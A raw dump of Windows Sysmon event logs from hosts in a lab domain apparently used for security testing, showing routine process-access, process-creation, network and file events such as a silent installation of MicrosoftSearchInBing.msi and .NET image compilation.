10341000x800000000000000043293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.971{7BD73061-6DFF-613B-DF06-00000000F001}57961552C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\SHELL32.dll+5339a|C:\Windows\System32\SHELL32.dll+84772|C:\Windows\SYSTEM32\msi.dll+f7052|C:\Windows\SYSTEM32\msi.dll+f945f|C:\Windows\SYSTEM32\msi.dll+f8be4|C:\Windows\SYSTEM32\msi.dll+90aa4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4aace2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4ab6e3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+464328|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.971{7BD73061-6DFF-613B-DF06-00000000F001}57961552C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\SHELL32.dll+5339a|C:\Windows\System32\SHELL32.dll+84772|C:\Windows\SYSTEM32\msi.dll+f7052|C:\Windows\SYSTEM32\msi.dll+f945f|C:\Windows\SYSTEM32\msi.dll+f8be4|C:\Windows\SYSTEM32\msi.dll+90aa4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4aace2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4ab6e3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+464328|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000013949Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:39.522{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50119-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013948Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:41.051{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=71382D17DFF6FF25C9A477BC4B938268,SHA256=D040F56FDDDE98EAA13C1A79A2FE61CA5015F0E44C07316B3586D34B38055FA1,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.908{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F59-613B-1B09-00000000F001}7036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.893{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F59-613B-1B09-00000000F001}7036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.893{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F59-613B-1B09-00000000F001}7036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000043288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.877{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-6F59-613B-1A09-00000000F001}2816C:\Windows\SysWOW64\msiexec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.877{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.877{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.877{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.877{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.877{7BD73061-6F58-613B-1509-00000000F001}9763388C:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exe{7BD73061-6F59-613B-1A09-00000000F001}2816C:\Windows\SysWOW64\msiexec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_32\System\2c8d66b5ef1d563cf9010bf4428ff9d2\System.ni.dll+23cbb2(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_32\System\2c8d66b5ef1d563cf9010bf4428ff9d2\System.ni.dll+1aaaa4(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_32\System\2c8d66b5ef1d563cf9010bf4428ff9d2\System.ni.dll+1aa39c(wow64)|UNKNOWN(00000000058CAD64)|UNKNOWN(00000000058CABD9)|UNKNOWN(00000000058CAB04)|UNKNOWN(00000000058CAA03)|UNKNOWN(000000000551D839)|UNKNOWN(0000000002CB3B4F)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+f066(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll+1230a(wow64) 154100x800000000000000043282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.884{7BD73061-6F59-613B-1A09-00000000F001}2816C:\Windows\SysWOW64\msiexec.exe5.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)Windows® installerWindows Installer - UnicodeMicrosoft Corporationmsiexec.exe"msiexec.exe" /i C:\ProgramData\Microsoft\DefaultPackMSI\MicrosoftSearchInBing.msi /qnC:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e72SystemMD5=0BDEAEA7BB4AE7822416CD37EA8EE00D,SHA256=5C188CE4E21FAB002B4D669F91FA19341AB4260F83D798FDAC53229D675DB6BA,IMPHASH=B4730776DFCE61DBCD10D002E3D530E1{7BD73061-6F58-613B-1509-00000000F001}976C:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exe"C:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exe" install 10341000x800000000000000043281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.783{7BD73061-65B0-613B-0B00-00000000F001}6205912C:\Windows\system32\lsass.exe{7BD73061-6F58-613B-1509-00000000F001}976C:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.783{7BD73061-65B0-613B-0B00-00000000F001}6205912C:\Windows\system32\lsass.exe{7BD73061-6F58-613B-1509-00000000F001}976C:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.783{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F59-613B-1909-00000000F001}6596C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.737{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F58-613B-1509-00000000F001}976C:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.737{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F59-613B-1909-00000000F001}6596C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.737{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F59-613B-1909-00000000F001}6596C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000043275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.674{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F59-613B-1809-00000000F001}6868C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.643{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F59-613B-1809-00000000F001}6868C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.643{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F59-613B-1809-00000000F001}6868C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 354300x800000000000000043272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:39.615{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59238-false93.184.220.29-80http 11241100x800000000000000043271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.518{7BD73061-6F58-613B-1509-00000000F001}976C:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exeC:\Users\Administrator\AppData\Local\Temp\4D7F90B8-F05F-436A-98BD-2DA9BC03BE8A.txt2021-09-10 14:44:41.518 10341000x800000000000000043270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.487{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F59-613B-1709-00000000F001}5036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SY